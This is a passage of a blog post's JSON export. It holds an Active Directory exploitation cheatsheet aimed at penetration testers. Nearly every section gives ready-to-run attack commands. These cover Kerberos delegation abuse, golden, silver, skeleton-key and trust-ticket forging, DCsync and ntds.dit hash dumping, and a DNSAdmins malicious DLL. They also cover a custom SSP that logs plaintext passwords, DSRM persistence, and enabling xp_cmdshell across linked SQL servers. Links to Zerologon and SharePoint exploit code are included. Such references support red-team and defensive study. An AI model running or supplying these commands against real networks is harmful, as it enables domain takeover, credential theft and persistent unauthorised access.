Delegation<\/h3>\n<p>Using PowerView and Kekeo:<\/p>\n<pre><code>#Enumerate Users and Computers with constrained delegation\nGet-DomainUser -TrustedToAuth\nGet-DomainComputer -TrustedToAuth\n#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo\ntgt::ask \/user:&lt;UserName&gt; \/domain:&lt;Domain's FQDN&gt; \/rc4:&lt;hashedPasswordOfTheUser&gt;\n#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation\ntgs::s4u \/tgt:&lt;PathToTGT&gt; \/user:&lt;UserToImpersonate&gt;@&lt;Domain's FQDN&gt; \/service:&lt;Service's SPN&gt;\n#Finally use mimikatz to ptt the TGS\nInvoke-Mimikatz -Command '\"kerberos::ptt &lt;PathToTGS&gt;\"'\n<\/code><\/pre>\n<p><em>ALTERNATIVE:<\/em> Using Rubeus:<\/p>\n<pre><code>Rubeus.exe s4u \/user:&lt;UserName&gt; \/rc4:&lt;NTLMhashedPasswordOfTheUser&gt; \/impersonateuser:&lt;UserToImpersonate&gt; \/msdsspn:\"&lt;Service's SPN&gt;\" \/altservice:&lt;Optional&gt; \/ptt\n<\/code><\/pre>\n<p>Now we can access the service as the impersonated user!<br \/>\n\ud83d\udea9 <strong>What if we have delegation rights for only a spesific SPN? (e.g TIME):<\/strong><br \/>\nIn this case we can still abuse a feature of kerberos called &#8220;alternative service&#8221;. This allows us to request TGS tickets for other &#8220;alternative&#8221; services and not only for the one we have rights for. Thats gives us the leverage to request valid tickets for any service we want that the host supports, giving us full access over the target machine.<\/p>\n<h3><\/h3>\n<h3>Resource Based Constrained Delegation<\/h3>\n<p><em>WUT IS DIS?:<br \/>\nTL;DR<br \/>\nIf we have GenericALL\/GenericWrite privileges on a machine account object of a domain, we can abuse it and impersonate ourselves as any user of the domain to it. For example we can impersonate Domain Administrator and have complete access.<\/em><br \/>\nTools we are going to use:<\/p>\n<ul>\n<li><a href=\"https:\/\/github.com\/PowerShellMafia\/PowerSploit\/tree\/dev\/Recon\">PowerView<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/Kevin-Robertson\/Powermad\">Powermad<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/GhostPack\/Rubeus\">Rubeus<\/a><\/li>\n<\/ul>\n<p>First we need to enter the security context of the user\/machine account that has the privileges over the object. If it is a user account we can use Pass the Hash, RDP, PSCredentials etc.<br \/>\nExploitation Example:<\/p>\n<pre><code>#Import Powermad and use it to create a new MACHINE ACCOUNT\n. .Powermad.ps1\nNew-MachineAccount -MachineAccount &lt;MachineAccountName&gt; -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose\n#Import PowerView and get the SID of our new created machine account\n. .PowerView.ps1\n$ComputerSid = Get-DomainComputer &lt;MachineAccountName&gt; -Properties objectsid | Select -Expand objectsid\n#Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:\n$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList \"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))\"\n$SDBytes = New-Object byte[] ($SD.BinaryLength) \n$SD.GetBinaryForm($SDBytes, 0)\n#Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView\nGet-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose\n#After that we need to get the RC4 hash of the new machine account's password using Rubeus\nRubeus.exe hash \/password:'p@ssword!'\n#And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus\nRubeus.exe s4u \/user:&lt;MachineAccountName&gt; \/rc4:&lt;RC4HashOfMachineAccountPassword&gt; \/impersonateuser:Administrator \/msdsspn:cifs\/TargetMachine.wtver.domain \/domain:wtver.domain \/ptt\n#Finally we can access the C$ drive of the target machine\ndir \\TargetMachine.wtver.domainC$\n<\/code><\/pre>\n<p>Detailed Articles:<\/p>\n<ul>\n<li><a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html\" rel=\"nofollow\">Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory<\/a><\/li>\n<li><a href=\"https:\/\/blog.stealthbits.com\/resource-based-constrained-delegation-abuse\/\" rel=\"nofollow\">RESOURCE-BASED CONSTRAINED DELEGATION ABUSE<\/a><\/li>\n<\/ul>\n<p>\u2757 In Constrain and Resource-Based Constrained Delegation if we don&#8217;t have the password\/hash of the account with TRUSTED_TO_AUTH_FOR_DELEGATION that we try to abuse, we can use the very nice trick &#8220;tgt::deleg&#8221; from kekeo or &#8220;tgtdeleg&#8221; from rubeus and fool Kerberos to give us a valid TGT for that account. Then we just use the ticket instead of the hash of the account to perform the attack.<\/p>\n<pre><code>#Command on Rubeus\nRubeus.exe tgtdeleg \/nowrap\n<\/code><\/pre>\n<p>Detailed Article: <a href=\"https:\/\/www.harmj0y.net\/blog\/redteaming\/rubeus-now-with-more-kekeo\/\" rel=\"nofollow\">Rubeus \u2013 Now With More Kekeo<\/a><\/p>\n<h3><\/h3>\n<h3>DNSAdmins Abuse<\/h3>\n<p><em>WUT IS DIS ?: If a user is a member of the DNSAdmins group, he can possibly load an arbitary DLL with the privileges of dns.exe that runs as SYSTEM. In case the DC serves a DNS, the user can escalate his privileges to DA. This exploitation process needs privileges to restart the DNS service to work.<\/em><\/p>\n<ol>\n<li>Enumerate the members of the DNSAdmins group:\n<ul>\n<li>PowerView: <code>Get-NetGroupMember -GroupName \"DNSAdmins\"<\/code><\/li>\n<li>AD Module: <code>Get-ADGroupMember -Identiny DNSAdmins<\/code><\/li>\n<\/ul>\n<\/li>\n<li>Once we found a member of this group we need to compromise it (There are many ways).<\/li>\n<li>Then by serving a malicious DLL on a SMB share and configuring the dll usage,we can escalate our privileges:\n<pre><code>#Using dnscmd:\ndnscmd &lt;NameOfDNSMAchine&gt; \/config \/serverlevelplugindll \\PathToOurDllmalicious.dll\n#Restart the DNS Service:\nsc \\DNSServer stop dns\nsc \\DNSServer start dns\n<\/code><\/pre>\n<\/li>\n<\/ol>\n<h3><\/h3>\n<h3>Abusing Active Directory-Integraded DNS<\/h3>\n<ul>\n<li><a href=\"https:\/\/blog.netspi.com\/exploiting-adidns\/\" rel=\"nofollow\">Exploiting Active Directory-Integrated DNS<\/a><\/li>\n<li><a href=\"https:\/\/blog.netspi.com\/adidns-revisited\/\" rel=\"nofollow\">ADIDNS Revisited<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/Kevin-Robertson\/Inveigh\">Inveigh<\/a><\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Abusing Backup Operators Group<\/h3>\n<p><em>WUT IS DIS ?: If we manage to compromise a user account that is member of the Backup Operators group, we can then abuse it&#8217;s SeBackupPrivilege to create a shadow copy of the current state of the DC, extract the ntds.dit database file, dump the hashes and escalate our privileges to DA.<\/em><\/p>\n<ol>\n<li>Once we have access on an account that has the SeBackupPrivilege we can access the DC and create a shadow copy using the signed binary diskshadow:<\/li>\n<\/ol>\n<pre><code>#Create a .txt file that will contain the shadow copy process script\nScript -&gt;{\nset context persistent nowriters  \nset metadata c:windowssystem32spooldriverscolorexample.cab  \nset verbose on  \nbegin backup  \nadd volume c: alias mydrive  \ncreate  \nexpose %mydrive% w:  \nend backup  \n}\n#Execute diskshadow with our script as parameter\ndiskshadow \/s script.txt\n<\/code><\/pre>\n<ol start=\"2\">\n<li>Next we need to access the shadow copy, we may have the SeBackupPrivilege but we cant just simply copy-paste ntds.dit, we need to mimic a backup software and use Win32 API calls to copy it on an accessible folder. For this we are going to use <a href=\"https:\/\/github.com\/giuliano108\/SeBackupPrivilege\">this<\/a> amazing repo:<\/li>\n<\/ol>\n<pre><code>#Importing both dlls from the repo using powershell\nImport-Module .SeBackupPrivilegeCmdLets.dll\nImport-Module .SeBackupPrivilegeUtils.dll\n#Checking if the SeBackupPrivilege is enabled\nGet-SeBackupPrivilege\n#If it isn't we enable it\nSet-SeBackupPrivilege\n#Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice\nCopy-FileSeBackupPrivilege w:windowsNTDSntds.dit c:&lt;PathToSave&gt;ntds.dit -Overwrite\n#Dump the SYSTEM hive\nreg save HKLMSYSTEM c:tempsystem.hive \n<\/code><\/pre>\n<ol start=\"3\">\n<li>Using smbclient.py from impacket or some other tool we copy ntds.dit and the SYSTEM hive on our local machine.<\/li>\n<li>Use secretsdump.py from impacket and dump the hashes.<\/li>\n<li>Use psexec or another tool of your choice to PTH and get Domain Admin access.<\/li>\n<\/ol>\n<h3><\/h3>\n<h3>Abusing Exchange<\/h3>\n<ul>\n<li><a href=\"https:\/\/dirkjanm.io\/abusing-exchange-one-api-call-away-from-domain-admin\/\" rel=\"nofollow\">Abusing Exchange one Api call from DA<\/a><\/li>\n<li><a href=\"https:\/\/www.zerodayinitiative.com\/blog\/2020\/2\/24\/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys\" rel=\"nofollow\">CVE-2020-0688<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/dirkjanm\/PrivExchange\">PrivExchange<\/a> Exchange your privileges for Domain Admin privs by abusing Exchange<\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Weaponizing Printer Bug<\/h3>\n<ul>\n<li><a href=\"https:\/\/www.dionach.com\/blog\/printer-server-bug-to-domain-administrator\/\" rel=\"nofollow\">Printer Server Bug to Domain Administrator<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/NotMedic\/NetNTLMtoSilverTicket\">NetNTLMtoSilverTicket<\/a><\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Abusing ACLs<\/h3>\n<ul>\n<li><a href=\"https:\/\/blog.fox-it.com\/2018\/04\/26\/escalating-privileges-with-acls-in-active-directory\/\" rel=\"nofollow\">Escalating privileges with ACLs in Active Directory<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/fox-it\/aclpwn.py\">aclpwn.py<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/fox-it\/Invoke-ACLPwn\">Invoke-ACLPwn<\/a><\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Abusing IPv6 with mitm6<\/h3>\n<ul>\n<li><a href=\"https:\/\/blog.fox-it.com\/2018\/01\/11\/mitm6-compromising-ipv4-networks-via-ipv6\/\" rel=\"nofollow\">Compromising IPv4 networks via IPv6<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/fox-it\/mitm6\">mitm6<\/a><\/li>\n<\/ul>\n<h3><\/h3>\n<h3>SID History Abuse<\/h3>\n<p><em>WUT IS DIS?: If we manage to compromise a child domain of a forest and <a href=\"https:\/\/www.itprotoday.com\/windows-8\/sid-filtering\" rel=\"nofollow\">SID filtering<\/a> isn&#8217;t enabled (most of the times is not), we can abuse it to privilege escalate to Domain Administrator of the root domain of the forest. This is possible because of the <a href=\"https:\/\/www.itprotoday.com\/windows-8\/sid-history\" rel=\"nofollow\">SID History<\/a> field on a kerberos TGT ticket, that defines the &#8220;extra&#8221; security groups and privileges.<\/em><br \/>\nExploitation example:<\/p>\n<pre><code>#Get the SID of the Current Domain using PowerView\nGet-DomainSID -Domain current.root.domain.local\n#Get the SID of the Root Domain using PowerView\nGet-DomainSID -Domain root.domain.local\n#Create the Enteprise Admins SID\nFormat: RootDomainSID-519\n#Forge \"Extra\" Golden Ticket using mimikatz\nkerberos::golden \/user:Administrator \/domain:current.root.domain.local \/sid:&lt;CurrentDomainSID&gt; \/krbtgt:&lt;krbtgtHash&gt; \/sids:&lt;EnterpriseAdminsSID&gt; \/startoffset:0 \/endin:600 \/renewmax:10080 \/ticket:pathtoticketgolden.kirbi\n#Inject the ticket into memory\nkerberos::ptt pathtoticketgolden.kirbi\n#List the DC of the Root Domain\ndir \\dc.root.domain.localC$\n#Or DCsync and dump the hashes using mimikatz\nlsadump::dcsync \/domain:root.domain.local \/all\n<\/code><\/pre>\n<p>Detailed Articles:<\/p>\n<ul>\n<li><a href=\"https:\/\/adsecurity.org\/?p=1640\" rel=\"nofollow\">Kerberos Golden Tickets are Now More Golden<\/a><\/li>\n<li><a href=\"http:\/\/www.harmj0y.net\/blog\/redteaming\/a-guide-to-attacking-domain-trusts\/\" rel=\"nofollow\">A Guide to Attacking Domain Trusts<\/a><\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Exploiting SharePoint<\/h3>\n<ul>\n<li><a href=\"https:\/\/medium.com\/@gorkemkaradeniz\/sharepoint-cve-2019-0604-rce-exploitation-ab3056623b7d\" rel=\"nofollow\">CVE-2019-0604<\/a> RCE Exploitation<br \/>\n<a href=\"https:\/\/github.com\/k8gege\/CVE-2019-0604\">PoC<\/a><\/li>\n<li><a href=\"https:\/\/www.zerodayinitiative.com\/blog\/2019\/9\/18\/cve-2019-1257-code-execution-on-microsoft-sharepoint-through-bdc-deserialization\" rel=\"nofollow\">CVE-2019-1257<\/a> Code execution through BDC deserialization<\/li>\n<li><a href=\"https:\/\/www.zerodayinitiative.com\/blog\/2020\/4\/28\/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters\" rel=\"nofollow\">CVE-2020-0932<\/a> RCE using typeconverters<br \/>\n<a href=\"https:\/\/github.com\/thezdi\/PoC\/tree\/master\/CVE-2020-0932\">PoC<\/a><\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Zerologon Exploit<\/h3>\n<ul>\n<li><a href=\"https:\/\/www.secura.com\/pathtoimg.php?id=2055\" rel=\"nofollow\">Zerologon: Unauthenticated domain controller compromise<\/a>: White paper of the vulnerability.<\/li>\n<li><a href=\"https:\/\/github.com\/nccgroup\/nccfsas\/tree\/main\/Tools\/SharpZeroLogon\">SharpZeroLogon<\/a>: C# implementation of the Zerologon exploit.<\/li>\n<li><a href=\"https:\/\/github.com\/BC-SECURITY\/Invoke-ZeroLogon\">Invoke-ZeroLogon<\/a>: Powershell implementation of the Zerologon exploit.<\/li>\n<li><a href=\"https:\/\/github.com\/bb00\/zer0dump\">Zer0Dump<\/a>: Python implementation of the Zerologon exploit using the impacket library.<\/li>\n<\/ul>\n<h2><\/h2>\n<h2>Domain Persistence<\/h2>\n<h3><\/h3>\n<h3>Golden Ticket Attack<\/h3>\n<pre><code>#Execute mimikatz on DC as DA to grab krbtgt hash:\nInvoke-Mimikatz -Command '\"lsadump::lsa \/patch\"' -ComputerName &lt;DC'sName&gt;\n#On any machine:\nInvoke-Mimikatz -Command '\"kerberos::golden \/user:Administrator \/domain:&lt;DomainName&gt; \/sid:&lt;Domain's SID&gt; \/krbtgt:\n&lt;HashOfkrbtgtAccount&gt;   id:500 \/groups:512 \/startoffset:0 \/endin:600 \/renewmax:10080 \/ptt\"'\n<\/code><\/pre>\n<h3><\/h3>\n<h3>DCsync Attack<\/h3>\n<pre><code>#DCsync using mimikatz (You need DA rights or DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges):\nInvoke-Mimikatz -Command '\"lsadump::dcsync \/user:&lt;DomainName&gt;&lt;AnyDomainUser&gt;\"'\n#DCsync using secretsdump.py from impacket with NTLM authentication\nsecretsdump.py &lt;Domain&gt;\/&lt;Username&gt;:&lt;Password&gt;@&lt;DC'S IP or FQDN&gt; -just-dc-ntlm\n#DCsync using secretsdump.py from impacket with Kerberos Authentication\nsecretsdump.py -no-pass -k &lt;Domain&gt;\/&lt;Username&gt;@&lt;DC'S IP or FQDN&gt; -just-dc-ntlm\n<\/code><\/pre>\n<p><strong>Tip:<\/strong><br \/>\n\/ptt -&gt; inject ticket on current running session<br \/>\n\/ticket -&gt; save the ticket on the system for later use<\/p>\n<h3><\/h3>\n<h3>Silver Ticket Attack<\/h3>\n<pre><code>Invoke-Mimikatz -Command '\"kerberos::golden \/domain:&lt;DomainName&gt; \/sid:&lt;DomainSID&gt; \/target:&lt;TheTargetMachine&gt; \/service:\n&lt;ServiceType&gt; \/rc4:&lt;TheSPN's Account NTLM Hash&gt; \/user:&lt;UserToImpersonate&gt; \/ptt\"'\n<\/code><\/pre>\n<p><a href=\"https:\/\/adsecurity.org\/?page_id=183\" rel=\"nofollow\">SPN List<\/a><\/p>\n<h3><\/h3>\n<h3>Skeleton Key Attack<\/h3>\n<pre><code>#Exploitation Command runned as DA:\nInvoke-Mimikatz -Command '\"privilege::debug\" \"misc::skeleton\"' -ComputerName &lt;DC's FQDN&gt;\n#Access using the password \"mimikatz\"\nEnter-PSSession -ComputerName &lt;AnyMachineYouLike&gt; -Credential &lt;Domain&gt;Administrator\n<\/code><\/pre>\n<h3><\/h3>\n<h3>DSRM Abuse<\/h3>\n<p><em>WUT IS DIS?: Every DC has a local Administrator account, this accounts has the DSRM password which is a SafeBackupPassword. We can get this and then pth its NTLM hash to get local Administrator access to DC!<\/em><\/p>\n<pre><code>#Dump DSRM password (needs DA privs):\nInvoke-Mimikatz -Command '\"token::elevate\" \"lsadump::sam\"' -ComputerName &lt;DC's Name&gt;\n#This is a local account, so we can PTH and authenticate!\n#BUT we need to alter the behaviour of the DSRM account before pth:\n#Connect on DC:\nEnter-PSSession -ComputerName &lt;DC's Name&gt;\n#Alter the Logon behaviour on registry:\nNew-ItemProperty \"HKLM:SystemCurrentControlSetControlLsa\" -Name \"DsrmAdminLogonBehaviour\" -Value 2 -PropertyType DWORD -Verbose\n#If the property already exists:\nSet-ItemProperty \"HKLM:SystemCurrentControlSetControlLsa\" -Name \"DsrmAdminLogonBehaviour\" -Value 2 -Verbose\n<\/code><\/pre>\n<p>Then just PTH to get local admin access on DC!<\/p>\n<h3><\/h3>\n<h3>Custom SSP<\/h3>\n<p><em>WUT IS DIS?: We can set our on SSP by dropping a custom dll, for example mimilib.dll from mimikatz, that will monitor and capture plaintext passwords from users that logged on!<\/em><br \/>\nFrom powershell:<\/p>\n<pre><code>#Get current Security Package:\n$packages = Get-ItemProperty \"HKLM:SystemCurrentControlSetControlLsaOSConfig\" -Name 'Security Packages' | select -ExpandProperty  'Security Packages'\n#Append mimilib:\n$packages += \"mimilib\"\n#Change the new packages name\nSet-ItemProperty \"HKLM:SystemCurrentControlSetControlLsaOSConfig\" -Name 'Security Packages' -Value $packages\nSet-ItemProperty \"HKLM:SystemCurrentControlSetControlLsa\" -Name 'Security Packages' -Value $packages\n#ALTERNATIVE:\nInvoke-Mimikatz -Command '\"misc::memssp\"'\n<\/code><\/pre>\n<p>Now all logons on the DC are logged to -&gt; C:WindowsSystem32kiwissp.log<\/p>\n<h2><\/h2>\n<h2>Cross Forest Attacks<\/h2>\n<h3><\/h3>\n<h3>Trust Tickets<\/h3>\n<p><em>WUT IS DIS ?: If we have Domain Admin rights on a Domain that has Bidirectional Trust relationship with an other forest we can get the Trust key and forge our own inter-realm TGT.<\/em><br \/>\n\u26a0\ufe0f The access we will have will be limited to what our DA account is configured to have on the other Forest!<br \/>\nUsing Mimikatz:<\/p>\n<pre><code>#Dump the trust key\nInvoke-Mimikatz -Command '\"lsadump::trust \/patch\"'\nInvoke-Mimikatz -Command '\"lsadump::lsa \/patch\"'\n#Forge an inter-realm TGT using the Golden Ticket attack\nInvoke-Mimikatz -Command '\"kerberos::golden \/user:Administrator \/domain:&lt;OurDomain&gt; \/sid:  \n&lt;OurDomainSID&gt; \/rc4:&lt;TrustKey&gt; \/service:krbtgt \/target:&lt;TheTargetDomain&gt; \/ticket:\n&lt;PathToSaveTheGoldenTicket&gt;\"'\n<\/code><\/pre>\n<p>\u2757 Tickets -&gt; .kirbi format<br \/>\nThen Ask for a TGS to the external Forest for any service using the inter-realm TGT and access the resource!<br \/>\nUsing Rubeus:<\/p>\n<pre><code>.Rubeus.exe asktgs \/ticket:&lt;kirbi file&gt; \/service:\"Service's SPN\" \/ptt\n<\/code><\/pre>\n<h3><\/h3>\n<h3>Abuse MSSQL Servers<\/h3>\n<ul>\n<li>Enumerate MSSQL Instances: <code>Get-SQLInstanceDomain<\/code><\/li>\n<li>Check Accessibility as current user:<\/li>\n<\/ul>\n<pre><code>Get-SQLConnectionTestThreaded\nGet-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose\n<\/code><\/pre>\n<ul>\n<li>Gather Information about the instance: <code>Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose<\/code><\/li>\n<li>Abusing SQL Database Links:<br \/>\n<em>WUT IS DIS?: A database link allows a SQL Server to access other resources like other SQL Server. If we have two linked SQL Servers we can execute stored procedures in them. Database links also works across Forest Trust!<\/em><\/li>\n<\/ul>\n<p>Check for existing Database Links:<\/p>\n<pre><code>#Check for existing Database Links:\n#PowerUpSQL:\nGet-SQLServerLink -Instace &lt;SPN&gt; -Verbose\n#MSSQL Query:\nselect * from master..sysservers\n<\/code><\/pre>\n<p>Then we can use queries to enumerate other links from the linked Database:<\/p>\n<pre><code>#Manualy:\nselect * from openquery(\"LinkedDatabase\", 'select * from master..sysservers')\n#PowerUpSQL (Will Enum every link across Forests and Child Domain of the Forests):\nGet-SQLServerLinkCrawl -Instance &lt;SPN&gt; -Verbose\n#Then we can execute command on the machine's were the SQL Service runs using xp_cmdshell\n#Or if it is disabled enable it:\nEXECUTE('sp_configure \"xp_cmdshell\",1;reconfigure;') AT \"SPN\"\n<\/code><\/pre>\n<p>Query execution:<\/p>\n<pre><code>Get-SQLServerLinkCrawl -Instace &lt;SPN&gt; -Query \"exec master..xp_cmdshell 'whoami'\"\n<\/code><\/pre>\n<h3><\/h3>\n<h3>Breaking Forest Trusts<\/h3>\n<p><em>WUT IS DIS?:<br \/>\nTL;DR<br \/>\nIf we have a bidirectional trust with an external forest and we manage to compromise a machine on the local forest that has enabled unconstrained delegation (DCs have this by default), we can use the printerbug to force the DC of the external forest&#8217;s root domain to authenticate to us. Then we can capture it&#8217;s TGT, inject it into memory and DCsync to dump it&#8217;s hashes, giving ous complete access over the whole forest.<\/em><br \/>\nTools we are going to use:<\/p>\n<ul>\n<li><a href=\"https:\/\/github.com\/GhostPack\/Rubeus\">Rubeus<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/leechristensen\/SpoolSample\">SpoolSample<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\">Mimikatz<\/a><\/li>\n<\/ul>\n<p>Exploitation example:<\/p>\n<pre><code>#Start monitoring for TGTs with rubeus:\nRubeus.exe monitor \/interval:5 \/filteruser:target-dc$\n#Execute the printerbug to trigger the force authentication of the target DC to our machine\nSpoolSample.exe target-dc$.external.forest.local dc.compromised.domain.local\n#Get the base64 captured TGT from Rubeus and inject it into memory:\nRubeus.exe ptt \/ticket:&lt;Base64ValueofCapturedTicket&gt;\n#Dump the hashes of the target domain using mimikatz:\nlsadump::dcsync \/domain:external.forest.local \/all \n<\/code><\/pre>\n<p>Detailed Articles:<\/p>\n<ul>\n<li><a href=\"https:\/\/www.harmj0y.net\/blog\/redteaming\/not-a-security-boundary-breaking-forest-trusts\/\" rel=\"nofollow\">Not A Security Boundary: Breaking Forest Trusts<\/a><\/li>\n<li><a href=\"https:\/\/posts.specterops.io\/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1\" rel=\"nofollow\">Hunting in Active Directory: Unconstrained Delegation &amp; Forests Trusts<\/a><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Summary Active Directory Exploitation Cheatsheet Summary Tools Domain Enumeration Using PowerView Using AD Module Using BloodHound Useful Enumeration Tools Local Privilege Escalation Lateral Movement Powershell Remoting [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":8622,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[223,226,230,232],"tags":[125,230,262,169,190,198],"class_list":["post-8620","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cryptography-and-pki","category-identity-and-active-directory","category-penetration-testing","category-powershell-and-automation","tag-active-directory","tag-penetration-testing","tag-pki","tag-powershell","tag-privilege-escalation"],"_links":{"self":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/8620","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/comments?post=8620"}],"version-history":[{"count":12,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/8620\/revisions"}],"predecessor-version":[{"id":8635,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/8620\/revisions\/8635"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/media\/8622"}],"wp:attachment":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/media?parent=8620"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/categories?post=8620"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/tags?post=8620"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}